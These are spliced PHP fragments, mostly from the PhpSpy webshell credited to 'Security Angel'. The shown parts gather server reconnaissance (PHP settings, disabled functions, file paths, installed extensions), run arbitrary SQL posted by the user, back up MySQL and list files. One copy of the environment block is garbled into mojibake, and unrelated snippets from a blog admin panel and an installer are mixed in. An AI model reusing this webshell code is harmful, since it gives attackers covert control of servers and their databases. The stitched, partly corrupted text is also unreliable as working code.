$info[6] = array("服务器解译引擎", $_SERVER["SERVER_SOFTWARE"]); $info[7] = array("Web服务端口", $_SERVER["SERVER_PORT"]); $info[8] = array("PHP运行方式", strtoupper(php_sapi_name())); $info[9] = array("PHP版本", PHP_VERSION); $info[10] = array("运行于安全模式", getphpcfg("safemode")); $info[11] = array("服务器管理员", $adminmail); $info[12] = array("本文件路径", __FILE__); $info[13] = array("允许使用 URL 打开文件 allow_url_fopen", getphpcfg("allow_url_fopen")); $info[14] = array("允许动态加载链接库 enable_dl", getphpcfg("enable_dl")); $info[15] = array("显示错误信息 display_errors", getphpcfg("display_errors")); $info[16] = array("自动定义全局变量 register_globals", getphpcfg("register_globals")); $info[17] = array("magic_quotes_gpc", getphpcfg("magic_quotes_gpc")); $info[18] = array("程序最多允许使用内存量 memory_limit", getphpcfg("memory_limit")); $info[19] = array("POST最大字节数 post_max_size", getphpcfg("post_max_size")); $info[20] = array("允许最大上传文件 upload_max_filesize", $upsize); $info[21] = array("程序最长运行时间 max_execution_time", getphpcfg("max_execution_time") . "秒"); $info[22] = array("被禁用的函数 disable_functions", $dis_func); $info[23] = array("phpinfo()", $phpinfo); $info[24] = array("目前还有空余空间diskfreespace", intval(diskfreespace(".") / (1024 * 1024)) . 'Mb'); $info[25] = array("图形处理 GD Library", getfun("imageline")); $info[26] = array("IMAP电子邮件系统", getfun("imap_close")); $info[27] = array("MySQL数据库", getfun("mysql_close")); $info[28] = array("SyBase数据库", getfun("sybase_close")); $info[29] = array("Oracle数据库", getfun("ora_close")); $info[30] = array("Oracle 8 数据库", getfun("OCILogOff")); $info[31] = array("PREL相容语法 PCRE", getfun("preg_match")); $info[32] = array("PDF文档支持", getfun("pdf_close")); $info[33] = array("Postgre SQL数据库", getfun("pg_close")); $info[34] = array("SNMP网络管理协议", getfun("snmpget")); $info[35] = array("压缩文件支持(Zlib)", getfun("gzclose")); $info[36] = array("XML解析", getfun("xml_set_object"));
default: return $result; break; } } function getfun($funName) { return function_exists($funName) ? '支持' : '不支持'; } if (@ini_get('file_uploads')) { $fileupload = '允许 ' . ini_get('upload_max_filesize'); } else { $fileupload = '<font color="red">禁止</font>'; } $globals = getphpcfg('register_globals'); $safemode = getphpcfg('safe_mode'); $gd_version = gd_version(); $gd_version = $gd_version ? '版本:' . $gd_version : '不支持'; //查询数据信息 $hiddenarttotal = $DB->result($DB->query("SELECT COUNT(articleid) FROM {$db_prefix}articles WHERE visible='0'"), 0); $hiddencomtotal = $DB->result($DB->query("SELECT COUNT(commentid) FROM {$db_prefix}comments WHERE visible='0'"), 0); $tagtotal = $DB->result($DB->query("SELECT COUNT(mid) FROM {$db_prefix}metas WHERE type='tag'"), 0); $linktotal = $DB->result($DB->query("SELECT COUNT(linkid) FROM {$db_prefix}links"), 0); $server['datetime'] = sadate('Y-m-d H:i:s'); $server['software'] = $_SERVER['SERVER_SOFTWARE']; if (function_exists('memory_get_usage')) { $server['memory_info'] = get_real_size(memory_get_usage()); } $mysql_version = mysql_get_server_info(); $mysql_runtime = ''; $query = $DB->query("SHOW STATUS");
$tb->makehidden('do', 'backupmysql'); $tb->formfooter('0', '30'); } $tb->tablefooter(); @mysql_close(); } elseif ($_GET['action'] == "phpenv") { $upsize = get_cfg_var("file_uploads") ? get_cfg_var("upload_max_filesize") : "不允许上传"; $adminmail = isset($_SERVER['SERVER_ADMIN']) ? "<a href=\"mailto:" . $_SERVER['SERVER_ADMIN'] . "\">" . $_SERVER['SERVER_ADMIN'] . "</a>" : "<a href=\"mailto:" . get_cfg_var("sendmail_from") . "\">" . get_cfg_var("sendmail_from") . "</a>"; if ($dis_func == "") { $dis_func = "No"; } else { $dis_func = str_replace(" ", "<br>", $dis_func); $dis_func = str_replace(",", "<br>", $dis_func); } $phpinfo = !eregi("phpinfo", $dis_func) ? "Yes" : "No"; $info = array(0 => array("服务器时间", date("Y年m月d日 h:i:s", time())), 1 => array("服务器域名", "<a href=\"http://" . $_SERVER['SERVER_NAME'] . "\" target=\"_blank\">" . $_SERVER['SERVER_NAME'] . "</a>"), 2 => array("服务器IP地址", gethostbyname($_SERVER['SERVER_NAME'])), 3 => array("服务器操作系统", PHP_OS), 5 => array("服务器操作系统文字编码", $_SERVER['HTTP_ACCEPT_LANGUAGE']), 6 => array("服务器解译引擎", $_SERVER['SERVER_SOFTWARE']), 7 => array("Web服务端口", $_SERVER['SERVER_PORT']), 8 => array("PHP运行方式", strtoupper(php_sapi_name())), 9 => array("PHP版本", PHP_VERSION), 10 => array("运行于安全模式", getphpcfg("safemode")), 11 => array("服务器管理员", $adminmail), 12 => array("本文件路径", __FILE__), 13 => array("允许使用 URL 打开文件 allow_url_fopen", getphpcfg("allow_url_fopen")), 14 => array("允许动态加载链接库 enable_dl", getphpcfg("enable_dl")), 15 => array("显示错误信息 display_errors", getphpcfg("display_errors")), 16 => array("自动定义全局变量 register_globals", getphpcfg("register_globals")), 17 => array("magic_quotes_gpc", getphpcfg("magic_quotes_gpc")), 18 => array("程序最多允许使用内存量 memory_limit", getphpcfg("memory_limit")), 19 => array("POST最大字节数 post_max_size", getphpcfg("post_max_size")), 20 => array("允许最大上传文件 upload_max_filesize", $upsize), 21 => array("程序最长运行时间 max_execution_time", getphpcfg("max_execution_time") . "秒"), 22 => array("被禁用的函数 disable_functions", $dis_func), 23 => array("phpinfo()", $phpinfo), 24 => array("目前还有空余空间diskfreespace", intval(diskfreespace(".") / (1024 * 1024)) . 'Mb'), 25 => array("图形处理 GD Library", getfun("imageline")), 26 => array("IMAP电子邮件系统", getfun("imap_close")), 27 => array("MySQL数据库", getfun("mysql_close")), 28 => array("SyBase数据库", getfun("sybase_close")), 29 => array("Oracle数据库", getfun("ora_close")), 30 => array("Oracle 8 数据库", getfun("OCILogOff")), 31 => array("PREL相容语法 PCRE", getfun("preg_match")), 32 => array("PDF文档支持", getfun("pdf_close")), 33 => array("Postgre SQL数据库", getfun("pg_close")), 34 => array("SNMP网络管理协议", getfun("snmpget")), 35 => array("压缩文件支持(Zlib)", getfun("gzclose")), 36 => array("XML解析", getfun("xml_set_object")), 37 => array("FTP", getfun("ftp_login")), 38 => array("ODBC数据库连接", getfun("odbc_close")), 39 => array("Session支持", getfun("session_start")), 40 => array("Socket支持", getfun("fsockopen"))); $tb->tableheader(); echo "<form action=\"?action=phpenv\" method=\"POST\">\n"; $tb->tdbody('<b>查看PHP配置参数状况</b>', 'left', '1', '30', 'style="padding-left: 5px;"'); $tb->tdbody('请输入配置参数(如:magic_quotes_gpc): ' . $tb->makeinput('phpvarname', '', '', 'text', '40') . ' ' . $tb->makeinput('', '查看', '', 'submit'), 'left', '2', '30', 'style="padding-left: 5px;"'); $tb->makehidden('do', 'viewphpvar'); echo "</form>\n"; $hp = array(0 => '服务器特性', 1 => 'PHP基本特性', 2 => '组件支持状况'); for ($a = 0; $a < 3; $a++) { $tb->tdbody('<b>' . $hp[1] . '</b>', 'left', '1', '30', 'style="padding-left: 5px;"'); ?> <tr class="secondalt"> <td> <table width="100%" border="0" cellpadding="0" cellspacing="0"> <?php if ($a == 0) {
@fclose($fp); } elseif ($connect) { if (@mysql_connect($servername, $dbusername, $dbpassword) and @mysql_select_db($dbname)) { echo "数据库连接成功!"; mysql_close(); } else { echo mysql_error(); } } elseif ($doquery) { @mysql_connect($servername, $dbusername, $dbpassword) or die("数据库连接失败"); @mysql_select_db($dbname) or die("选择数据库失败"); $result = @mysql_query($_POST['sql_query']); echo $result ? "SQL语句成功执行" : "出错: " . mysql_error(); mysql_close(); } elseif ($viewphpvar) { echo "配置参数 " . $_POST['phpvarname'] . " 检测结果: " . getphpcfg($_POST['phpvarname']) . ""; } else { echo "本程序由 <a href=\"http://www.4ngel.net\" target=\"_blank\">Security Angel</a> 小组 angel [<a href=\"http://www.bugkidz.org\" target=\"_blank\">BST</a>] 独立开发,可在 <a href=\"http://www.4ngel.net\" target=\"_blank\">www.4ngel.net</a> 下载最新版本."; } echo "</b></p>\n"; /*===================== 执行操作 结束 =====================*/ if (!isset($_GET['action']) or empty($_GET['action']) or $_GET['action'] == "dir") { ?> <table width="760" border="0" cellpadding="3" cellspacing="1" bgcolor="#ffffff"> <tr bgcolor="#cccccc"> <td align="center" nowrap width="30%"><b>文件</b></td> <td align="center" nowrap width="17%"><b>创建日期</b></td> <td align="center" nowrap width="17%"><b>最后修改</b></td> <td align="center" nowrap width="12%"><b>大小</b></td> <td align="center" nowrap width="7%"><b>属性</b></td> <td align="center" nowrap width="17%"><b>操作</b></td>
$tb->makehidden('do', 'backupmysql'); $tb->formfooter('0', '30'); } $tb->tablefooter(); @mysql_close(); } elseif ($_GET['action'] == "phpenv") { $upsize = get_cfg_var("file_uploads") ? get_cfg_var("upload_max_filesize") : "²»OE??EI´«"; $adminmail = isset($_SERVER['SERVER_ADMIN']) ? "<a href=\"mailto:" . $_SERVER['SERVER_ADMIN'] . "\">" . $_SERVER['SERVER_ADMIN'] . "</a>" : "<a href=\"mailto:" . get_cfg_var("sendmail_from") . "\">" . get_cfg_var("sendmail_from") . "</a>"; if ($dis_func == "") { $dis_func = "No"; } else { $dis_func = str_replace(" ", "<br>", $dis_func); $dis_func = str_replace(",", "<br>", $dis_func); } $phpinfo = !eregi("phpinfo", $dis_func) ? "Yes" : "No"; $info = array(0 => array("??E ??OC? C??????", date("Y?êmOAdE? h:i:s", time())), 1 => array("??? C??????", "<a href=\"http://" . $_SERVER['SERVER_NAME'] . "\" target=\"_blank\">" . $_SERVER['SERVER_NAME'] . "</a>"), 2 => array("??? C??? E? ???????", gethostbyname($_SERVER['SERVER_NAME'])), 3 => array("C????", PHP_OS), 5 => array("C??UE", $_SERVER['HTTP_ACCEPT_LANGUAGE']), 6 => array("?UC? C??????", $_SERVER['SERVER_SOFTWARE']), 7 => array("???? C??????", $_SERVER['SERVER_PORT']), 8 => array("??? C??UC?", strtoupper(php_sapi_name())), 9 => array("??IC? C??UC?", PHP_VERSION), 10 => array("C???? C?A??", getphpcfg("safemode")), 11 => array("????? C??I??", $adminmail), 12 => array("???C? C?O?", __FILE__), 13 => array("allow url fopen", getphpcfg("allow_url_fopen")), 14 => array("enable dl", getphpcfg("enable_dl")), 15 => array("display errors", getphpcfg("display_errors")), 16 => array("register globals", getphpcfg("register_globals")), 17 => array("magic quotes gpc", getphpcfg("magic_quotes_gpc")), 18 => array("memory limit", getphpcfg("memory_limit")), 19 => array("post max size", getphpcfg("post_max_size")), 20 => array("upload max filesize", $upsize), 21 => array("max execution time", getphpcfg("max_execution_time") . "?ë"), 22 => array("disable functions", $dis_func), 23 => array("phpinfo()", $phpinfo), 24 => array("diskfreespace", intval(diskfreespace(".") / (1024 * 1024)) . 'Mb'), 25 => array("GD Library", getfun("imageline")), 26 => array("IMAP", getfun("imap_close")), 27 => array("MySQL", getfun("mysql_close")), 28 => array("SyBase", getfun("sybase_close")), 29 => array("Oracle", getfun("ora_close")), 30 => array("Oracle 8 ", getfun("OCILo???ff")), 31 => array("PREL", getfun("preg_match")), 32 => array("PDF", getfun("pdf_close")), 33 => array("Postgre SQL", getfun("pg_close")), 34 => array("SNMP", getfun("snmpget")), 35 => array("(Zlib)", getfun("gzclose")), 36 => array("XML", getfun("xml_set_object")), 37 => array("FTP", getfun("ftp_login")), 38 => array("ODBC", getfun("odbc_close")), 39 => array("Session", getfun("session_start")), 40 => array("Socket", getfun("fsockopen"))); $tb->tableheader(); echo "<form action=\"?action=phpenv\" method=\"POST\">\n"; $tb->tdbody('<b></b>', 'left', '1', '30', 'style="padding-left: 5px;"'); $tb->tdbody('C:magic_quotes_gpc): ' . $tb->makeinput('phpvarname', '', '', 'text', '40') . ' ' . $tb->makeinput('', '???', '', 'submit'), 'left', '2', '30', 'style="padding-left: 5px;"'); $tb->makehidden('do', 'viewphpvar'); echo "</form>\n"; $hp = array(0 => '·?I??÷???O', 1 => '?????CE ?? C??????', 2 => ''); for ($a = 0; $a < 3; $a++) { $tb->tdbody('<b>' . $hp[1] . '</b>', 'left', '1', '30', 'style="padding-left: 5px;"'); ?> <tr class="secondalt"> <td> <table width="100%" border="0" cellpadding="0" cellspacing="0"> <?php if ($a == 0) {
$contents = str_replace('dirIncCheck', $dirIncCheck, $contents); $contents = str_replace('ERRORINFO', $errorInfo, $contents); showform('index.php?step=checksetting', '程序安装环境', '下面的表格给出了程序的推荐、基本和当前环境的对比。', $contents); } if ($_GET['step'] == 'checksetting') { $writeable = $version = $url_fopen = $safemode = ''; if (!is_writable(cfgTmpDir) or !is_writable(cfgIncludeDir)) { $writeable = '请将 <font color="red">tmp</font> 和 <font color="red">include</font> 目录的属性设置为 <font color="red">777</font>'; } if (PHP_VERSION < '4.1') { $version = '<font color="red">您的服务器PHP版本太低</font> 系统需要最低版本为: <font color="red">4.1.0</font> 您当前版本为: ' . PHP_VERSION; } if (!getphpcfg('allow_url_fopen')) { $url_fopen = '您的服务器PHP配置关闭了<font color="red"> allow_url_fopen 项目</font> 这样程序将无法正常运行'; } if (getphpcfg('safe_mode')) { $safemode = '您的服务器处于<font color="red">安全模式</font> 这样程序将无法正常运行,请修改 php.ini 文件'; } $contents = getcontent(cfgFilePath . cfgSetError); $contents = str_replace('TMP_INCLUDE', $writeable, $contents); $contents = str_replace('PHPVERSION', $version, $contents); $contents = str_replace('URLFOPEN', $url_fopen, $contents); $contents = str_replace('SAFEMODE', $safemode, $contents); if ($_POST['error'] == 1) { $title = '<b>检查目录和文件是否可写发生错误!</b><br><br>'; $contents = str_replace('TITLE', $title, $contents); showform('', '安装环境有误', '请您仔细对照出错内容进行修改。', $contents, '', 'disabled'); } else { $title = '<b>您的程序配置完全符合要求,如需安装请按 [下一步] </b><br><br>'; $contents = str_replace('TITLE', $title, $contents); showform('index.php?step=installsetting', '安装环境正确', '检查当前环境和正常要求。', $contents);